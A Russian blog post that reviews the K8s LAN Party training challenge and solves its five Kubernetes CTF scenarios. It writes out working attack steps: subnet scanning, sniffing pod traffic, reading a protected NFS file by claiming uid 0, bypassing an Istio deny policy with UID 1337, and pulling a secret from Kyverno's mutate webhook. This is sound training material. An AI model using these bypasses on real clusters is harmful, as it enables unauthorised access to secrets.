Обзор K8s LAN Party —  сборника задач по поиску уязвимостей в кластере Kubernetes прямо в браузере

от автора

Я продолжаю тестировать инструменты, которые помогают научиться защищать кластеры Kubernetes. На этот раз взглянем на продукт от разработчиков из компании Wiz ResearchKubernetes LAN Party, челлендж по выполнению CTF-сценариев. Выход инструмента был приурочен к прошедшей в марте этого года конференции KubeCon EMEA 2024.

В статье я расскажу, зачем нужен этот инструмент, а также пройду все сценарии, которые предлагает K8s LAN Party, и напишу свое мнение о том, насколько это классный инструмент и кому он будет полезен.

Не так давно я делал обзор Simulator — платформы для обучения инженеров безопасности Kubernetes с помощью CTF-сценариев.

Что такое K8s LAN Party и зачем он нужен

K8s LAN Party — это набор из пяти CTF-сценариев, в которых пользователю нужно найти уязвимости в кластере Kubernetes. Каждый сценарий посвящен проблемам сети Kubernetes, с которыми инженеры Wiz Research сталкивались в реальной практике. Инструмент поможет участникам углубить свои знания в области безопасности кластера Kubernetes: у них будет возможность встать на место злоумышленников и изучить ошибки в конфигурациях, что пригодится в работе.

В K8s LAN Party кластер уже развернут. Игроку нужно лишь выполнять команды в терминале прямо в браузере. А если пользователь зарегистрируется, его результат будет отражаться в общей таблице лидеров и после прохождения челленджа он получит сертификат об участии.

В K8s LAN Party следующие правила для выполнения заданий:

  • Выполнять сценарии можно в любом порядке.

  • Максимальный результат за выполнение задания — 10 баллов. Но еще можно воспользоваться двумя подсказками. За их использование с итогового результата будут сниматься баллы,

  • Флаги, которые нужно находить в каждом сценарии, имеют формат wiz_k8s_lan_party{*}. Его нужно указать в поле ввода на странице задания:

После выбора задания появляется терминал, в котором нужно будет выполнить команды:

Разберём каждый сценарий: пойдём по порядку и начнём с Recon.

Сценарий №1: Recon

В этом сценарии мы попали в скомпрометированный под Kubernetes, где должны найти скрытые внутренние сервисы. Для выполнения задачи у нас есть утилита dnscan.

Для начала узнаем, в какой подсети мы находимся:

player@wiz-k8s-lan-party:~$ printenv  HISTSIZE=2048 PWD=/home/player HOME=/home/player KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1 ...

IP-адрес нашего пода — 10.100.0.1. Выполним сканирование подсети 10.100.0.0/16:

player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16 34997 / 65536 [--------------------------------------------------------------------->____________________________________________________________] 53.40% 982 p/s10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local. 65430 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.84% 982 p/s10.100.136.254 -> getflag-service.k8s-lan-party.svc.cluster.local. 65536 / 65536 [---------------------------------------------------------------------------------------------------------------------------------] 100.00% 985 p/s

Утилита нашла сервис getflag-service. Выполним запрос к нему:

player@wiz-k8s-lan-party:~$ curl  getflag-service.k8s-lan-party.svc.cluster.local wiz_k8s_lan_party{<flag>}

Мы нашли флаг. Указываем его в поле ввода на странице задания и получаем успех:

Сценарий №2: Finding neighbours

Авторы пишут, что в нашем окружении затаился sidecar-контейнер, который, возможно, передаёт какие-то чувствительные данные. Снова воспользуемся утилитой dnscan, может быть, она найдёт какие-нибудь дополнительные сервисы:

player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16 43867 / 65536 [--------------------------------------------------------------------------------------->__________________________________________] 66.94% 984 p/s10.100.171.123 reporting-service.k8s-lan-party.svc.cluster.local. 65330 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.69% 984 p/s10.100.171.123 -> reporting-service.k8s-lan-party.svc.cluster.local. 65528 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.99% 984 p/splayer@wiz-k8s-lan-party:~$ curl reporting-service.k8s-lan-party.svc.cluster.local player@wiz-k8s-lan-party:~$ 

На этот раз curl к сервису нам ничего не дал. Прослушаем весь трафик, который ходит внутри пода и запишем его в дамп-файл:

player@wiz-k8s-lan-party:~$ tcpdump -s 0 -n -w dump.pcap tcpdump: listening on ns-c75457, link-type EN10MB (Ethernet), snapshot length 262144 bytes ^C28 packets captured 28 packets received by filter 0 packets dropped by kernel

Теперь поищем что-нибудь интересное в дампе. Мы знаем, что флаг, который мы ищем, должен называться wiz_k8s_lan_party:

player@wiz-k8s-lan-party:~$ tcpdump -r dump.pcap -A | grep wiz_k8s_lan_party reading from file dump.pcap, link-type EN10MB (Ethernet), snapshot length 262144 wiz_k8s_lan_party{<flag>} wiz_k8s_lan_party{<flag>}

Ещё один флаг найден. Не забываем скопировать его для выполнения задания и вставить в поле ввода на странице задания.

Сценарий №3: Data leakage

В данном сценарии используется система хранения данных, в которой контроль доступа является сетевым. Видимо, к поду примонтирована NFS-шара. Проверим это:

player@wiz-k8s-lan-party:~$ df -h Filesystem                                          Size  Used Avail Use% Mounted on overlay                                             300G   24G  277G   8% / fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/  8.0E     0  8.0E   0% /efs tmpfs                                                60G   12K   60G   1% /var/run/secrets/kubernetes.io/serviceaccount tmpfs                                                64M     0   64M   0% /dev/null

Действительно, к разделу /efs примонтирована NFS-шара. Что лежит в этой директории? Посмотрим:

player@wiz-k8s-lan-party:~$ ls -lah /efs total 8.0K drwxr-xr-x 2 root   root   6.0K Mar 11 11:43 . drwxr-xr-x 1 player player   51 Mar 25 08:27 .. ---------- 1 daemon daemon   73 Mar 11 13:52 flag.txt player@wiz-k8s-lan-party:~$ cat /efs/flag.txt  cat: /efs/flag.txt: Permission denied

Здесь лежит нужный нам флаг, однако у нас не хватает прав для его просмотра. Воспользуемся утилитой nfs-cat для просмотра содержимого файла: не забываем указать версию NFS, UID и GID:

player@wiz-k8s-lan-party:~$ nfs-cat "nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4&uid=0&gid=0" wiz_k8s_lan_party{<flag>}

Найден очередной флаг. Идём дальше.

Сценарий №4: Bypassing Boundaries

Описание задачи говорит, что в данном окружении используется service-mesh, а также применено ограничивающее правило Istio:

apiVersion: security.istio.io/v1beta1 kind: AuthorizationPolicy metadata:   name: istio-get-flag   namespace: k8s-lan-party spec:   action: DENY   selector:     matchLabels:       app: "{flag-pod-name}"   rules:   - from:     - source:         namespaces: ["k8s-lan-party"]     to:     - operation:         methods: ["POST", "GET"]

Воспользуемся утилитой dnscan для поиска сервисов в данном окружении:

root@wiz-k8s-lan-party:~# dnscan -subnet 10.100.0.0/16 57388 / 65536 [----------------------------------------------------------------------------------------------------------------->________________] 87.57% 988 p/s10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local. 65491 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.93% 988 p/s10.100.224.159 -> istio-protected-pod-service.k8s-lan-party.svc.cluster.local. root@wiz-k8s-lan-party:~# curl istio-protected-pod-service.k8s-lan-party.svc.cluster.local RBAC: access denied

Найден сервис istio-protected-pod-service, однако попытка выполнить к нему запрос запрещена согласно политике Istio.

Здесь можно вспомнить одну интересную уязвимость Istio, о которой писали наши коллеги из Luntry. Благодаря этой уязвимости злоумышленнику, попавшему внутрь пода, в котором работает Istio sidecar, достаточно установить UID или GID, равный 1337. Это поможет обойти фильтрацию трафика Istio. Попробуем это сделать:

root@wiz-k8s-lan-party:~# su istio $ curl istio-protected-pod-service.k8s-lan-party.svc.cluster.local wiz_k8s_lan_party{<flag>}

Остался последний флаг.

Сценарий №5: Lateral movement

В окружении для данного сценария используется контроллер допуска Kyverno. Нам дают kyverno-политику, которая добавляет переменную FLAG в созданные поды в пространстве имён sensitive-ns:

apiVersion: kyverno.io/v1 kind: Policy metadata:   name: apply-flag-to-env   namespace: sensitive-ns spec:   rules:     - name: inject-env-vars       match:         resources:           kinds:             - Pod       mutate:         patchStrategicMerge:           spec:             containers:               - name: "*"                 env:                   - name: FLAG                     value: "{flag}"

Попробуем создать какой-нибудь под. Опишем стандартный манифест для пода nginx и применим его в пространстве имён sensitive-ns:

apiVersion: v1 kind: Pod metadata:   name: pod   namespace: sensitive-ns spec:   containers:   - name: nginx     image: nginx:latest     ports:     - containerPort: 80

К сожалению, у нас нет прав для создания подов в этом пространстве имён:

player@wiz-k8s-lan-party:~$ kubectl apply -f pod.yaml  2024/03/31 18:27:19 Starlark failed to allocate 4GB address space: cannot allocate memory. Integer performance may suffer. Error from server (Forbidden): error when retrieving current configuration of: Resource: "/v1, Resource=pods", GroupVersionKind: "/v1, Kind=Pod" Name: "pod", Namespace: "sensitive-ns" from server for: "pod.yaml": pods "pod" is forbidden: User "system:serviceaccount:k8s-lan-party:default" cannot get resource "pods" in API group "" in the namespace "sensitive-ns"

Кажется, пора воспользоваться подсказками. Это англоязычный проект, поэтому для статьи мы перевели их на русский язык:

Подсказка №1

Нужна помощь в составлении AdmissionReview-запросов? Воспользуйтесь https://github.com/anderseknert/kube-review

Подсказка №2 

Это упражнение состоит из трех компонентов: имени хоста kyverno (можно найти с помощью dnscan), соответствующего HTTP-пути (можно посмотреть в исходном коде Kyverno) и запроса AdmissionReview.

Получается, нам нужно найти доступные службы kyverno. Просканируем сеть пода с помощью утилиты dnscan:

player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16 10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local. 10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local. 10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local. 10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local. 10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local. 10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.

Нам нужно отправить запрос к сервису kyverno-svc.kyverno.svc.cluster.local, который создаст под и изменит его, добавив переменную согласно политике apply-flag-to-env. Для этого нужно создать AdmissionReview-запрос на эндпоинт /mutate, который вызовет mutating webhook

Составляем конфиг для AdmissionReview в соответствии с документацией либо можем воспользоваться инструментом kube-review. Указываем обязательные поля, а также главное для нас в этой задаче — переменную FLAG, которую мы увидим после применения запроса:

{     "apiVersion": "admission.k8s.io/v1",     "kind": "AdmissionReview",     "request": {       "kind": {         "group": "",         "version": "v1",         "kind": "Pod"       },       "resource": {         "group": "",         "version": "v1",         "resource": "pods"       },       "requestKind": {         "group": "",         "version": "v1",         "kind": "Pod"       },       "requestResource": {         "group": "",         "version": "v1",         "resource": "pods"       },       "namespace": "sensitive-ns",       "operation": "CREATE",       "object": {         "apiVersion": "v1",         "kind": "Pod",         "metadata": {           "name": "pod",           "namespace": "sensitive-ns"         },         "spec": {           "containers": [             {               "name": "nginx",               "image": "nginx:latest",               "env": [                 {                   "name": "FLAG",                   "value": "{flag}"                 }               ]             }           ]         }       }     }   }

Сделаем вызов к сервису kyverno:

player@wiz-k8s-lan-party:~$ curl -k -X POST https://kyverno-svc.kyverno.svc.cluster.local/mutate -H "Content-Type: application/json" --data '<json>'

В результате мы получили response, где в закодированном формате Base64 содержится интересующая нас информация:

"response": {     "uid": "",     "allowed": true,     "patch": "W3sib3AiOiJyZXBsYWNlIiwicGF0aCI6Ii9zcGVjL2NvbnRhaW5lcnMvMC9lbnYvMC92YWx1ZSIsInZhbHVlIjoid2l6X2s4c19sYW5fcGFydHl7eW91LWFyZS1rOHMtbmV0LW1hc3Rlci13aXRoLWdyZWF0LXBvd2VyLXRvLW11dGF0ZS15b3VyLXdheS10by12aWN0b3J5fSJ9LCB7InBhdGgiOiIvbWV0YWRhdGEvYW5ub3RhdGlvbnMiLCJvcCI6ImFkZCIsInZhbHVlIjp7InBvbGljaWVzLmt5dmVybm8uaW8vbGFzdC1hcHBsaWVkLXBhdGNoZXMiOiJpbmplY3QtZW52LXZhcnMuYXBwbHktZmxhZy10by1lbnYua3l2ZXJuby5pbzogcmVwbGFjZWQgL3NwZWMvY29udGFpbmVycy8wL2Vudi8wL3ZhbHVlXG4ifX1d",     "patchType": "JSONPatch"   }

В этой строке содержится в том числе и наш флаг. Вставляем его в поле для ввода и завершаем наш сценарий.

Сервис поздравляет нас с прохождением, и теперь можно получить сертификат:

Итоги

По сравнению с Simulator, который мы обозревали ранее, K8s LAN Party проще по функциональности, так как это просто челлендж с ограниченным набором задач. Небольшие трудности могут возникнуть только на сценарии №5. При этом представленные задания были довольно интересными. 

В первую очередь я рекомендую пройти K8s LAN Party начинающим инженерам, которые интересуются безопасностью кластеров Kubernetes. Но специалистам более высокого уровня тоже будет интересно поработать с представленными в сценариях уязвимостями.

P. S.

Читайте также в нашем блоге:


ссылка на оригинал статьи https://habr.com/ru/articles/807015/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *